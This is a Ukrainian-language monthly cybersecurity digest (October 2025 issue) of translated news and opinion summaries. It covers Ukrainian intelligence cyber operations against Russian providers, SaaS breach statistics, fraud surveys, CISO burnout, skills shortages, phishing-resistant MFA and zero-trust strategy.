**Державна наукова установа «Інститут інформації, безпеки і права Національної академії правових наук України»
Національна бібліотека України імені В. І. Вернадського**

КІБЕРБЕЗПЕКА В ІНФОРМАЦІЙНОМУ СУСПІЛЬСТВІ

Інформаційно-аналітичний дайджест

№ 10 (жовтень)

Київ – 2025

Кібербезпека в інформаційному суспільстві: Інформаційно-аналітичний дайджест / відп. ред. О. Довгань; упоряд. О. Довгань, Л. Литвинова, С. Дорогих; Державна наукова установа «Інститут інформації, безпеки і права НАПрН України»; Національна бібліотека України ім. В.І.Вернадського. Київ, 2025. №10 (жовтень) . 166 с.

Заснований Науково-дослідним інститутом інформатики і права Національної академії правових наук України та Національною бібліотекою України імені В.І. Вернадського у 2017 р. Видається щомісяця. Відповідальний редактор О. Довгань. Упорядники О. Довгань, Л. Литвинова, С. Дорогих. Дизайн обкладинки С. Дорогих.

Аналітичний дайджест покликаний надати інформацію з питань кібербезпеки, що є надзвичайно актуальними в контексті розвитку інформаційного суспільства, зростання кіберзлочинності, використання засобів кібертероризму у гібрідних війнах та необхідності розбудови системи забезпечення кібернетичної безпеки України відповідно до визначених стратегічних напрямків з урахуванням тенденцій розвитку кіберпростору, сучасних викликів та загроз його безпеці. Призначення дайджесту – ознайомлення широкого кола фахівців у сфері кібербезпеки, а також і всіх користувачів, які цікавляться цією проблематикою, з інформаційними джерелами мережі Інтернет та новими надходженнями до фондів НБУВ (монографії, автореферати дисертацій, підручники, збірники наукових праць, матеріали міжнародних конференцій, статті з періодичних видань), що висвітлюють сучасні проблеми кібербезпеки в Україні та за кордоном.

Ознайомитися з літературою із фондів НБУВ та онлайновими інформаційними ресурсами можна за адресою: проспект Голосіївський, 3, м. Київ, 03039.

ЗМІСТ

Кібервійна проти України

«Головне управління розвідки України (HUR) посилила свою кіберкампанію проти російської цифрової інфраструктури, завдавши значної фінансової та операційної шкоди багатьом об'єктам. Останній удар ВРУ був нанесений по сибірському інтернет-провайдеру Orion Telecom, що призвело до відключення послуг у деяких районах Красноярська, Іркутська, Братська та Абакана, включаючи закрите місто, де видобувають уран, де Orion є єдиним оператором. У скарзі до поліції компанія заявляє, що втратила 66 мільйонів рублів (близько 839 000 доларів) і зазнала витоку особистих даних клієнтів; вона також може бути оштрафована на суму до 15 мільйонів рублів за порушення…

Атака Orion, вперше запущена в День Росії (12 червня), є частиною більш широких зусиль HUR, спрямованих на порушення роботи мереж, які, на думку Києва, підтримують російські спецслужби та військові операції. 24 вересня HUR зламала сервери, які використовувала встановлена Москвою адміністрація в окупованому Криму, викравши понад 100 терабайт внутрішньої кореспонденції. Наступного дня вона здійснила масштабну розподілену атаку типу «відмова в обслуговуванні» на російську Систему швидких платежів (SBP) та магістрального провайдера TransTeleCom, тимчасово паралізувавши онлайн-перекази та повсякденні транзакції по всій країні; наприклад, мешканці Єкатеринбурга не могли оплатити проїзд у громадському транспорті або пальне.

Раніше, під час загальнонаціонального голосування в Росії 14 вересня, HUR паралізувала цифрові ресурси Центральної виборчої комісії, її платформу дистанційного електронного голосування, магістральні маршрутизатори державного телекомунікаційного гіганта «Ростелеком» та сервери урядового порталу «Госуслуги», що завадило багатьом громадянам, особливо в окупованих регіонах України, проголосувати електронним способом…

У сукупності ці скоординовані операції свідчать про зростаючу здатність Києва завдавати відчутних збитків російським комунікаційним, фінансовим та адміністративним системам, що знаходяться в глибині ворожої території…» ***(Alisa Orlova. Ukrainian Cyberattack Cost Russian Provider Over 66M Rubles, Following HUR Operations Series // BISNESGROUPP LLC (https://www.kyivpost.com/post/62158). 15.10.2025).***

***

Світові тенденції в галузі кібербезпеки

«Звіт «Пульс кібербезпеки» (Cybersecurity Pulse): видання 2025 року містить найновішу передову аналітику, що фіксує критичні загрози, інновації та дебати щодо управління, що формують сучасний порядок денний безпеки.

Синтезований за допомогою інструментів ISMG на базі штучного інтелекту, звіт об'єднує інтерв'ю з керівниками, технічні дослідження та думки практиків у дорожню карту для досягнення стійкості, інновацій та конкурентної переваги.

Жовтневий випуск 2025 року, шостий випуск із серії «Звітів Pulse» від ISMG, відображає різку еволюцію стратегії кібербезпеки: від налаштування захисту до стратегічного перепроектування в епоху агентного штучного інтелекту, системних ризиків та багатовекторних супротивників.

П'ять основних тем, що визначають 2025 рік

Штучний інтелект в основі — агентивні моделі, наступальний штучний інтелект та причини невдачі захисних огорож;

Апаратне забезпечення до хмари – використання можливостей, що охоплюють періодичність прошивки та розповсюдження IAM;

Багатовекторні загрози – діпфейки, фантомні дзвінки та втома від SOC у міру зростання експлуатації людьми;

Управління та політика – відповідальність штучного інтелекту, системний ризик та нові регуляторні розрахунки;

Інновації в обороні – архітектури, натхненні іграми, стійкість апаратного забезпечення та безпека, орієнтована на загрози…» ***(Dan Verton. Strategic Intelligence From the Cybersecurity Front Lines // Information Security Media Group, Corp. (https://www.inforisktoday.com/strategic-intelligence-from-cybersecurity-front-lines-a-29618). 02.10.2025).***

***

«…Отримання посади в галузі кібербезпеки залежить від того, що ви робите до і під час співбесіди. Більшість процесів найму починаються з відбору рекрутером, переходять до індивідуальних або групових бесід з менеджером з найму та командою, і часто включають технічні тести або сценарійні вправи, які перевіряють, як ви впораєтеся з реальними інцидентами. Державні або суворо регульовані роботодавці можуть додати багатоетапні оцінки та структуровані співбесіди.

Що постійно заважає кандидатам, так це покрокове пояснення того, як вони будуть реагувати на порушення, а потім переклад цього пояснення на просту мову для зацікавлених сторін, які не є фахівцями в технічних питаннях. Потренуйтеся голосно описувати як технічний робочий процес, так і вплив на бізнес, доки це не стане для вас природним…

Основи підготовки

• Вивчіть продукти компанії, її місію та поточні виклики в галузі безпеки, щоб ваші відповіді — і питання, які ви задаєте — звучали обізнано.

• Знайте кожну рядок свого резюме; очікуйте запитань про вашу освіту, сертифікати та практичний досвід. Будьте чесними щодо прогалин — перебільшення навичок швидко викриється.

• Прорепетируйте типові технічні та поведінкові питання; перед відповіддю зробіть паузу, щоб подумати, і, якщо вам потрібен час, розкажіть про свій процес міркування.

• Продемонструйте проекти, в які ви вкладаєте душу (репозиторії GitHub, лабораторії Hack-The-Box, звіти про виявлення багів). Рекрутери розглядають публічну, самостійну роботу як доказ реальних навичок і допитливості…

Запитайте про показники успішності, короткострокові цілі, поточні пріоритети щодо загроз та про те, як компанія підтримує постійне навчання. Продумані питання свідчать про справжній інтерес та стратегічне мислення.

Будьте ввічливими, уникайте негативних відгуків про колишніх роботодавців та не вдавайтеся до ризикованого гумору. Підготовка, чітка комунікація та справжній ентузіазм щодо безпеки — продемонстровані як у ваших відповідях, так і в позашкільних проектах — відрізняють тих, хто отримує пропозицію, від тих, хто повертається до пошуку роботи…» ***(Sinisa Markovic. How to succeed at cybersecurity job interviews // Help Net Security (https://www.helpnetsecurity.com/2025/10/06/cybersecurity-job-interview-tips/). 06.10.2025).***

***

«…Звіт AppOmni про стан безпеки SaaS у 2025 році виявляє тривожну розбіжність: 91% організацій впевнені у надійності своїх засобів захисту SaaS, проте 75% з них за останній рік зазнали порушень або інцидентів, пов'язаних із SaaS, що на 33% більше, ніж у попередньому році. Ця розбіжність пояснюється тим, що видимість плутають із захистом, надмірно довіряють контролю з боку постачальників і покладаються на аудити, що проводяться в певний момент часу, в середовищах, де додатки, ролі та інтеграції змінюються щодня… Лише 43% компаній здійснюють моніторинг майже в режимі реального часу; більшість все ще покладається на статичні перевірки, через що зміни в конфігурації та розширення дозволів залишаються невиявленими. Відповідальність також є фрагментованою: лише 16% компаній покладають відповідальність за безпеку SaaS виключно на команду з безпеки, тоді як 43% залишають це на розсуд окремих бізнес-підрозділів, створюючи сірі зони, де ніхто не несе відповідальності за ризики. Наслідки є відчутними — порушення безпеки даних, втрата інтелектуальної власності та випадкове розкриття інформації, що може коштувати мільйони та підірвати довіру клієнтів…

Щоб подолати «розрив у довірі», у звіті наголошується на необхідності постійного моніторингу стану, чіткого розподілу відповідальності за безпеку SaaS, незалежної перевірки налаштувань постачальників, пріоритезації високовартісних додатків на основі ризиків та використання інструментів автоматизації, які відображають контекстні, пріоритетні сповіщення, а не створюють зайвий шум на інформаційній панелі. Коротко кажучи, справжня стійкість SaaS вимагає переходу від періодичних аудитів і передбачуваної довіри до постійної перевірки та спільної, чітко визначеної відповідальності…» ***(Madeleine Doyle. 75% of Orgs. Had a SaaS Security Incident Despite High Confidence in Their Security. Here's Why. // Techstrong Group Inc. (https://securityboulevard.com/2025/10/75-of-orgs-had-a-saas-security-incident-despite-high-confidence-in-their-security-heres-why/). 06.10.2025).***

***

«…Нове глобальне опитування, проведене для Mastercard, висвітлює кризу довіри та вразливість у цифровому світі, показуючи, що 70% споживачів у всьому світі погоджуються з тим, що захистити свою інформацію на цифрових платформах складніше, ніж захистити свій фізичний будинок. Ця стурбованість виправдана величезними масштабами кіберзлочинності, яка минулого року завдала збитків на суму 9,5 трлн доларів, що робить її третьою за величиною економікою світу, яка швидко зростає завдяки доступності інструментів штучного інтелекту, що підсилюють атаки…

Ризики цього «постійно підключеного» світу стають все більш очевидними: 75% респондентів висловлюють більшу стурбованість ризиками кібербезпеки зараз, ніж два роки тому, а 80% стали жертвами спроб шахрайства протягом останнього року. Така поширеність призвела до загальної зневіри: майже 60% споживачів вважають, що шахрайство є просто неминучим…

Опитування, в якому взяли участь 13 077 дорослих з 13 країн, виявило значні поколіннєві відмінності в схильності до шахрайства та рівні довіри. Молоді люди частіше стають жертвами, причому 43% представників покоління Z і 39% міленіалів повідомляють, що стикалися з спробами шахрайства, порівняно з лише 22% представників покоління X і 14% бебі-бумерів. Іронічно, що представники покоління Z і міленіали повідомили про високу впевненість у своїй здатності розпізнавати загрози, проте вони рідше, ніж їхні старші колеги, застосовують базові захисні заходи, такі як перевірка електронних листів відправника або використання програмного забезпечення для безпеки…

Важливим висновком є поширеність «сорому за шахрайство», оскільки 59% респондентів відчували б сором, якби стали жертвами онлайн-шахрайства, що призводить до значного заниження кількості повідомлень, хоча набагато менший відсоток (37%) визнав, що насправді засуджував би когось, хто став жертвою шахрайства.

Також високий рівень занепокоєння викликає штучний інтелект: майже три чверті споживачів погоджуються, що ШІ унеможливить розрізнення справжнього та підробленого в Інтернеті. Впевненість у виявленні загроз, породжених ШІ, дуже низька, хоча молодші покоління значно більше довіряють безпеці, що контролюється ШІ, ніж старші групи…» ***(Vicki Hyman. When it comes to fraud, a sense of insecurity and even inevitability, global survey shows // Mastercard (https://www.mastercard.com/global/en/news-and-trends/stories/2025/consumer-cybersecurity-survey.html). 06.10.2025).***

***

«…Середній термін перебування на посаді директора з інформаційної безпеки (CISO) в даний час становить близько трьох років, що змушує багатьох замислитися над стійкістю цієї ролі через постійний стрес, високу відповідальність і обмежену винагороду. Термін перебування на посаді CISO залежить від розміру організації; у швидкозростаючих стартапах, де CISO часто створюють програми безпеки з нуля з мінімальним бюджетом, термін перебування на посаді часто становить від 18 місяців до двох років і часто закінчується вигоранням. І навпаки, CISO у більших організаціях можуть залишатися на посаді

довше, використовуючи два-три роки для впровадження змін і формування команд, перш ніж шукати нові виклики, коли робота досягає стадії «звичайного режиму» (BAU). CISO у найбільших глобальних компаніях, з великими командами та відповідальністю, як правило, залишаються на посаді найдовше…

Окрім пошуку нових викликів, постійне напруження та суперечливий характер роботи значно сприяють високій плинності кадрів. Шахар Гейгер Маор, директор з інформаційної безпеки компанії Fullpath, відзначає величезний стрес, пов'язаний з життям у постійному очікуванні порушення безпеки, що посилюється складністю управління політикою компанії та спонуканням інших до дій, які часто суперечать бізнес-цілям. Ця роль вимагає постійної пильності, що ускладнює повне відключення навіть під час відпустки…

Основним стримуючим фактором є постійна схильність CISO до звинувачень; як операційний центр витрат, «всі дороги ведуть до CISO», коли трапляється інцидент, навіть якщо їхня робота полягає лише в управлінні ризиками та інформуванні про них правління. Підвищена складність загроз, особливо з використанням штучного інтелекту, означає, що CISO повинен бути завжди правий, тоді як зловмисникам достатньо досягти успіху лише один раз. Опитування BlackFog показало, що 70% CISO мають негативне ставлення до своєї ролі через історії про особисту відповідальність за інциденти. Крім того, зарплати, особливо за межами США, не завжди вважаються гідними рівня ризику, який вони беруть на себе.

Деякі CISO йдуть через вигорання, інші — заради кар'єрного зростання, переходячи на посади в компаніях-постачальниках рішень з безпеки, на більш високі посади CISO або вибираючи роботу CISO на часткову зайнятість, щоб зосередитися на конкретних проєктах. Незалежно від причини, сильні комунікативні навички — здатність чітко пояснювати ризики раді директорів та керівництву — стали найбільш затребуваною рисою у нових кандидатів на посаду CISO. Незважаючи на виклики та враження про постійну зміну кадрів, спільнота кібербезпеки залишається дружньою, прагнучи створити більшу стабільність та стандартизацію в цій професії, що набирає зрілості…» ***(Aimee Chanthadavong. Is the CISO chair becoming a revolving door? // FoundryCo, Inc. (https://www.csoonline.com/article/4066101/is-the-ciso-chair-becoming-a-revolving-door.html). 07.10.2025).***

***

«Цифрова трансформація, яка є життєво важливою для процвітання в економіці 21 століття, заснованій на знаннях, в основному покладається на надійну кібербезпеку, яка виступає захисником глобальної стабільності від швидко мінливих загроз. Сучасний ландшафт кіберзагроз характеризується складними викликами, включаючи просунуті постійні загрози (APT) від національних держав, зловмисне використання штучного інтелекту для прискорення атак, таких як фішинг і депфейки, а також більш часті та важко виявляємі експлойти нульового дня. Крім того, розширення Інтернету речей, хмарної інфраструктури та віддаленої роботи вимагає надійних протоколів безпеки, тоді як людські фактори, такі як соціальна інженерія, погана кібергігієна та

внутрішні загрози, залишаються одними з найефективніших векторів компрометації…

Щоб досягти успіху, установи, уряди та окремі особи повинні перейти від реактивної оборони до проактивного мислення, що наголошує на гнучкості, передбачуваності та стратегічній стійкості. Це вимагає вплетіння безпеки в організаційну культуру, що робить кібербезпеку спільним пріоритетом. Стратегічна адаптація передбачає застосування підходу, заснованого на ризиках, для визначення пріоритетності критично важливих активів, використання моделювання загроз та симуляції атак, а також впровадження оборони на основі розвідки за допомогою платформ розвідки загроз (TIP) та інтегрованих системи управління інформацією та подіями безпеки (SIEM) та аналітики поведінки користувачів та об'єктів (UEBA)…

Технологічні заходи, необхідні для посилення захисту, включають впровадження архітектури Zero Trust, використання штучного інтелекту для виявлення аномалій і прогнозної аналітики, а також підготовку до майбутніх викликів шляхом впровадження квантово-стійкої криптографії. Що стосується управління, організації повинні дотримуватися встановлених стандартів (таких як NIST або ISO/IEC 27001) і глобальних нормативних актів (таких як GDPR і CCPA), а також підтримувати і регулярно перевіряти надійні плани реагування на інциденти.

Важливо, що підвищення стійкості передбачає не тільки технологічні заходи, а й комплексне нарощування потенціалу — через широкі освітні програми та розвиток талантів — і сприяння державно-приватним партнерствам для ефективного обміну розвідданими. Інженерія стійкості наголошує на розробці систем, здатних витримувати зриви та виходити з них сильнішими завдяки впровадженню резервування, надійних планів відновлення після катастроф, кіберстрахування та регулярних навчань з моделювання бойових дій. Зрештою, кібербезпека — це не лише захисний механізм, а й стратегічний пріоритет, що вимагає інноваційного мислення, етичного лідерства та сміливої співпраці для захисту цілісності всього цифрового простору». ***(Ojo Emmanuel Ademola. Adapting to the dynamism of cybersecurity in the digital age // BUSINESSDAY MEDIA LTD (https://businessday.ng/opinion/article/adapting-to-the-dynamism-of-cybersecurity-in-the-digital-age/). 12.10.2025).***

***

«Хоча кібербезпека часто помилково розглядається як проблема виключно ІТ-відділу, насправді це критично важлива спільна відповідальність, яка покладається на кожного члена організації, від генерального директора до стажерів. Це хибне уявлення є небезпечним, оскільки більшість кібератак є не результатом складних технічних збоїв, а простих людських помилок, таких як натискання на фішингові електронні листи, використання слабких паролів або надмірне поширення інформації. Оскільки кожен, хто використовує системи компанії, є потенційною мішенню, надзвичайно важливим є широке інформування; якщо співробітники будуть пильно стежити за підозрілими діями, більшість кібератак можна буде запобігти…

Щоб створити безпечне середовище, керівництво повинно надавати пріоритет кібербезпеці, демонструючи лідерство шляхом впровадження власних ефективних звичок у сфері безпеки. Навчання з питань безпеки має бути безперервним, цікавим і включати регулярні тренування з протидії фішингу, щоб підтримувати пильність співробітників. Крім того, кібербезпека повинна розглядатися як командний вид спорту, що залучає всі відділи — кадрів, фінансів, операцій та маркетингу, оскільки кожен з них працює з конфіденційними даними і стикається з унікальними ризиками. Необхідним є також безперервне навчання, яке вимагає від компаній регулярно інформувати співробітників про нові види шахрайства та заходи безпеки в Інтернеті за допомогою інтерактивних тренінгів…

Нарешті, для створення культури, в якій безпека стоїть на першому місці, необхідна постійна комунікація, визнання передових практик (таких як повідомлення про підозрілу діяльність) та створення середовища, в якому співробітники можуть повідомляти про свої побоювання, не боячись звинувачень. В кінцевому рахунку, надійна система кібербезпеки в рівній мірі покладається на технологічні засоби захисту та пильність людей, тому залучення співробітників є життєво важливим для перетворення кібербезпеки на сильну сторону організації». ***(Anurag Reddy. Cybersecurity: Why it's a Shared Responsibility Beyond the IT Team // Analytics Insight (https://www.analyticsinsight.net/cybersecurity/cybersecurity-why-its-a-shared-responsibility-beyond-the-it-team). 10.10.2025).***

***

«Загрози кібербезпеці кардинально перетворилися з нішевих технічних проблем на силу, що формує світову економіку та ставить під загрозу національну безпеку, а щорічний глобальний економічний вплив кіберзлочинності зріс майже до 10 трильйонів доларів, що робить її третьою за величиною економікою світу після США та Китаю. Цей стрибок зумовлений саме тими інноваціями, що сприяють прогресу — цифровою трансформацією, Інтернетом речей та штучним інтелектом — кожна з яких створює нові вразливі місця для досвідчених злочинців та підтримуваних державою супротивників, які націлені на критичну інфраструктуру, таку як енергетичні мережі, охорона здоров'я та виробництво…

Ця ескалація викликів перетворила гонку за кіберстійкістю на глобальну конкуренцію, але головним перешкодою є гостра нестача талановитих фахівців: минулого року в США було понад півмільйона вакансій у сфері кібербезпеки, з них майже 9000 — у штаті Теннессі. Незважаючи на розвиток кіберосвіти, зберігається невідповідність між попитом і пропозицією, оскільки кандидати на початковому рівні не мають практичного досвіду або високої кваліфікації, необхідної роботодавцям, що створює дефіцит робочої сили, який досяг рекордного рівня…

Теннессі має унікальні можливості для усунення цієї прогалини завдяки своїй зв'язці національної енергетичної та безпекової інфраструктури, включаючи Національну лабораторію Ок-Ридж та Управління долини Теннессі. Штат повинен перетворити «найслабшу ланку» (людську помилку) на «найміцнішу оборону», переосмисливши освіту та доступ до неї. Це передбачає розширення шляхів до кібербезпеки від середньої школи до вищих ступенів освіти та прийняття

різноманітних походжень для стимулювання творчого вирішення проблем. Такі установи, як Коледж нових та спільних досліджень (CECS) Університету Теннессі, активно будують цей канал, інтегруючи освіту з питань кіберризиків у різні дисципліни, забезпечуючи випускникам поєднання технічних навичок з важливими людськими якостями, такими як етика та адаптивність. Зрештою, інвестуючи у свою кіберпрацівничу силу, Теннессі прагне визначити своє майбутнє за допомогою своєї сили безпеки, а не вразливості». ***(Ozlem Kilic. How Tennessee can help close the cybersecurity jobs gap // Yahoo (https://www.yahoo.com/news/articles/tennessee-help-close-cybersecurity-jobs-090349190.html). 08.10.2025).***

***

«Малі та середні підприємства (МСП), які традиційно покладаються на постачальників керованих послуг (MSP), можуть розглянути можливість переведення безпеки на внутрішній рівень через такі фактори, як обмежені бюджети або бажання мати більший контроль. Хоча це і є складним завданням, така зміна є можливою, якщо МСП зосередяться на необхідних заходах захисту від найпоширеніших загроз, а не відволікатися на сенсаційні заголовки про «квантове шкідливе програмне забезпечення» або «діпфейки на основі штучного інтелекту»…

Фактичні ризики, з якими стикаються малі та середні підприємства, залишаються незмінними, хоча і дещо зросли: 88% підтверджених порушень пов'язані з програмним забезпеченням для вимагання викупу або вимаганням даних; компрометація ділової електронної пошти залишається дорогою; понад 60% порушень веб-додатків пов'язані з викраденими або повторно використаними обліковими даними, що часто сприяє втомі від багатофакторної аутентифікації (MFA) або фішингу; а зловмисники часто використовують незахищені системи та вразливі служби віддаленого доступу…

Хороша новина полягає в тому, що захист від цих атак можна забезпечити без великих бюджетів, починаючи з базових «Cyber Essentials». Ключові заходи захисту включають надійне управління ідентифікацією та доступом — впровадження багатофакторної автентифікації (MFA), стійкої до фішингу, або перехід на паролі-ключі, оскільки 99,9% зламаних облікових записів не мали MFA; покращений захист електронної пошти та фішингу за допомогою протоколів автентифікації (SPF, DKIM, DMARC) або безпечних шлюзів на базі штучного інтелекту; а також ефективне навчання з питань кібербезпеки, інтегроване в корпоративну культуру. Захист від програм-вимагачів вимагає багаторівневого підходу, що включає виявлення та реагування на кінцевих точках (EDR), регулярне створення перевірених резервних копій, встановлення критичних виправлень та обмеження віддаленого доступу. Нарешті, впровадження визнаної системи, такої як британська Cyber Essentials або NIST Cybersecurity Framework, допомагає визначити пріоритетність заходів та підвищити довіру…

Малі та середні підприємства повинні активно займатися власною захистом, оскільки вони все частіше розглядаються як «вигідні» цілі; кількість виявлених загроз у малих та середніх підприємствах різко зросла в період з червня 2024 року по червень 2025 року. Для тих, хто відмовляється від послуг MSP, успіх залежить

від створення міцної основи, що базується на контролі доступу, багатофакторній аутентифікації, резервному копіюванні та інформуванні співробітників, а також від постійного обслуговування та стратегічного коригування для усунення реальних, а не вигаданих загроз». ***(Kevin O'Connor. How SMBs Can Own Their Cybersecurity Without Falling into a Trap // CyberRisk Alliance (https://insight.scmagazineuk.com/how-smbs-can-own-their-cybersecurity-without-falling-into-a-trap). 08.10.2025).***

***

«Незважаючи на величезні інвестиції в сучасні цифрові засоби захисту, людська помилка залишається найбільшим ризиком для кібербезпеки, що становить 95% всіх випадків порушення безпеки даних, а фішинг продовжує бути найефективнішою точкою входу для зловмисників, які використовують довіру людей. Як наслідок, підприємства все частіше звертаються до фішингостійкої аутентифікації — більш відчутного механізму захисту, призначеного для усунення людської помилки з рівняння безпеки…

Традиційна багатофакторна автентифікація (MFA), хоча і є основоположною, є недостатньою, оскільки такі методи, як SMS-коди та push-повідомлення, вразливі до соціальної інженерії та «втоми від MFA». Крім того, традиційна MFA може створювати практичні перешкоди в певних середовищах, таких як спільні робочі станції або чисті приміщення, де заборонено використання мобільних пристроїв. Хоча навчання з питань кібербезпеки, включаючи практичні симуляції, є життєво важливим для того, щоб допомогти користувачам розпізнавати загрози, швидка еволюція технік обману означає, що людська помилка залишається високим і постійним ризиком…

Найефективнішим засобом захисту на сьогодні є багатофакторна автентифікація (MFA), стійка до фішингу, що використовує інструменти без паролів, такі як ключі безпеки FIDO2, біометрія або аутентифікація за близькістю. Ці методи вимагають «доказу присутності», повертаючи концепцію «замка і ключа» у цифровий світ, яку зловмисники не можуть відтворити дистанційно, навіть якщо вкрали облікові дані. Це значно підвищує планку для вторгнення, оскільки зловмисники повинні фізично володіти ключем або пристроєм користувача.

Впровадження цієї вдосконаленої системи безпеки не вимагає дорогого капітального ремонту; багато основних функцій MFA вже інтегровані в загальноприйняті інструменти. Організації можуть досягти значних поліпшень, зосередившись спочатку на поступовому оновленні областей з високим ризиком, таких як спільні робочі станції, точки віддаленого доступу та облікові записи з високим рівнем привілеїв, а також інтегруючи ці нові засоби контролю в існуючі системи. Хоча MFA, стійка до фішингу, не є панацеєю, вона представляє собою наступний рівень безпеки, допомагаючи підприємствам побудувати стійку захищеність, покладаючись на простий і відчутний захист…» ***(Stuart Beattie. The Future of Cybersecurity May Look More Physical Than Digital // DIGIT (https://www.digit.fyi/the-future-of-cybersecurity-may-look-more-physical-than-digital/). 13.10.2025).***

***

«Новий глобальний звіт від Fortinet, «Звіт про глобальний дефіцит кваліфікованих кадрів у сфері кібербезпеки до 2025 року», попереджає, що, хоча штучний інтелект швидко трансформує операції з безпеки — 97% організацій використовують або планують впровадити рішення з кібербезпеки на основі штучного інтелекту — його переваги підриваються через гостру нестачу спеціалізованих знань. Хоча 87% фахівців очікують, що ШІ підвищить ефективність, майже половина (48%) ІТ-керівників називають нестачу фахівців з ШІ найбільшою перешкодою для успішного впровадження. Необхідність кваліфікованого людського нагляду підкреслюється висновком, що 76% організацій, які зазнали дев'яти або більше кібератак у 2024 році, вже мали системи ШІ…

У звіті підкреслюються серйозні наслідки дефіциту кваліфікованих кадрів, через який на даний момент у світі залишається незайнятими понад 4,7 мільйона вакансій у сфері кібербезпеки. У 2024 році 86% організацій зазнали принаймні одного порушення безпеки, що є різким зростанням порівняно з 2021 роком, а 52% повідомили, що кіберінциденти коштували їм понад 1 мільйон доларів. 54% респондентів визначили недостатній рівень кваліфікації та підготовки у сфері безпеки як основну причину цих порушень…

Хоча кібербезпека стає все більш пріоритетним питанням для керівництва компаній (76% керівників приділили їй більше уваги в 2024 році), розуміння загроз, пов'язаних з штучним інтелектом, залишається обмеженим: менше половини (49%) повністю усвідомлюють ризики, пов'язані з цією технологією. Крім того, незважаючи на те, що 89% осіб, які приймають рішення в галузі ІТ, віддають перевагу найму сертифікованих кандидатів для підтвердження технічних знань, готовність організацій фінансувати сертифікацію співробітників різко знизилася з 89% у 2023 році до 73% у 2025 році, що свідчить про те, що інвестиції в розвиток персоналу не встигають за зростаючим попитом на кваліфікованих фахівців. Керівник служби інформаційної безпеки Fortinet Карл Віндзор підкреслив, що без «рішучих дій» з метою залучення та утримання талановитих фахівців у галузі кібербезпеки рівень порушень і пов'язані з цим витрати будуть продовжувати зростати». ***(Graham Turner. Is Enterprise AI Knowledge Gaps Undermining Cyber Defence? // DIGIT (https://www.digit.fyi/is-enterprise-ai-knowledge-gaps-undermining-cyber-defence/). 08.10.2025).***

***

«Кібербезпека перетворилася з суто технічної проблеми на стратегічну необхідність для лідерів, що підкреслюється висновком Всесвітнього економічного форуму, згідно з яким 91% бізнес-лідерів очікують катастрофічної кіберподії в найближчі два роки, а середня вартість одного порушення досягне 4,45 мільйона доларів у 2023 році. Окрім фінансового збитку, кіберзагрози зараз дестабілізують суспільства, підривають довіру громадськості та загрожують національній безпеці, часто слугуючи каталізаторами роздроблення суспільства. Яскравим прикладом є DDoS-атаки 2022 року, здійснені

прокремлівською групою Killnet проти румунських урядових і медійних сайтів, що інтерпретуються як помста за підтримку країною України…

Лідери часто не готові до таких криз, залишаючись нечіткими або мовчазними щодо кіберпроблем через брак технічних знань та неоднозначність визначень у цій галузі. Ця сліпа пляма змушує організації реагувати на події, а не передбачати їх. Наприклад, випадки, коли члени правління відхиляли плани кіберстійкості через залякування технічною складністю, призвели до катастрофічних порушень. Отже, кіберграмотність повинна стати базовою компетенцією лідерів, подібною до фінансової грамотності, що дозволить керівникам ставити обґрунтовані запитання, вимагати відповідальності від експертів та ефективно комунікувати…

Два ключові виклики перешкоджають цьому прогресу:

1. Неоднозначність визначення: Відсутність загальноприйнятого визначення кібербезпеки створює плутанину, що вимагає прагматичного переходу до робочих визначень, доступних для нефахівців (заснованих на таких принципах, як конфіденційність, цілісність і доступність) та інтеграції етичних міркувань. Організації повинні використовувати спрощені рамки, такі як NIST та ISO, для розробки виконавчих «кібер-посібників».

2. Дефіцит довіри: через історично низький рівень довіри громадськості до керівництва технічно обґрунтовані стратегії не мають успіху без авторитету. Керівники повинні завоювати цей авторитет, демонструючи кіберграмотність — не як інженери, а як обізнані наглядачі за управлінням ризиками — та ефективно комунікуючи під час криз. З'являються практичні кроки, такі як виконавчі кіберсимуляції та навчальні поїздки з повним зануренням, щоб підготувати керівників до технічних та репутаційних ризиків кіберінцидентів…

Зрештою, кібербезпека зараз є питанням довіри, управління та лідерства, що вимагає від керівників подолання розбіжностей у визначеннях та довірі для забезпечення безпеки в цифрову епоху». ***(Öykü Işık, Samar Ali, Sami Khoury. Cybersecurity is no longer just a technical challenge – it's a leadership one // World Economic Forum (https://www.weforum.org/stories/2025/10/cybersecurity-leadership-deficit-business/). 09.10.2025).***

***

«Прискорена цифрова трансформація, що відбувається під впливом штучного інтелекту, хмарних технологій, Інтернету речей та віддаленої роботи, випередила периметральні моделі безпеки, на які досі покладаються багато організацій. Зараз зловмисники автоматизують розвідку, використовують як зброю програмне забезпечення «Ransomware-as-a-Service» та експлуатують неправильно налаштовані хмарні сервіси, незахищені API та застарілі пристрої Інтернету речей, а глобальний дефіцит талановитих фахівців змушує захисників діяти в поспіху. Результатом є збільшення розриву між швидкістю поширення загроз та можливостями захисту: після проникнення в застарілу мережу поширення по ній стає легким, а збитки швидко зростають…

Тому сучасна система безпеки повинна бути проактивною, хмарною та інтелектуальною. Архітектури Zero-Trust замінюють неявну внутрішню довіру

постійною перевіркою та доступом з мінімальними привілеями. Аналітика на основі штучного інтелекту та поведінки замінює статичне виявлення сигнатур, забезпечуючи виявлення аномалій у реальному часі та автоматизовану реакцію у великих масштабах. Еластичні інфраструктури, орієнтовані на ідентифікацію, наближають засоби контролю безпеки до даних, користувачів та пристроїв, незалежно від їхнього місцезнаходження…

Керівництво повинно зосередитися на п'яти обов'язкових завданнях: (1) інтегрувати ШІ в усі операції з безпеки для автономного виявлення, прогнозування та стримування загроз; (2) впровадити доступ до мережі за принципом «нульової довіри» для усунення м'яких внутрішніх периметрів; (3) зміцнити хмарні та API-екосистеми за допомогою частих аудитів, шифрування та захисту під час виконання; (4) модернізувати або вивести з експлуатації застарілі системи для зменшення площі атаки та дотримання мінливих правил відповідності; та (5) подолати дефіцит кваліфікованих кадрів шляхом підвищення кваліфікації персоналу в галузі безпеки ШІ, DevSecOps та аналізу загроз, а також приєднання до державно-приватних альянсів з обміну інформацією. Тільки поєднавши ці заходи, організації зможуть повернути ініціативу в боротьбі з сучасними швидкозмінними та високоавтоматизованими кіберзагрозами». ***(Durga Prakash. Revolutionizing cyber defense with strategic, borderless leadership for a new digital era // Times Group (https://etedge-insights.com/technology/cyber-security/revolutionizing-cyber-defense-with-strategic-borderless-leadership-for-a-new-digital-era/). 10.10.2025).***

***

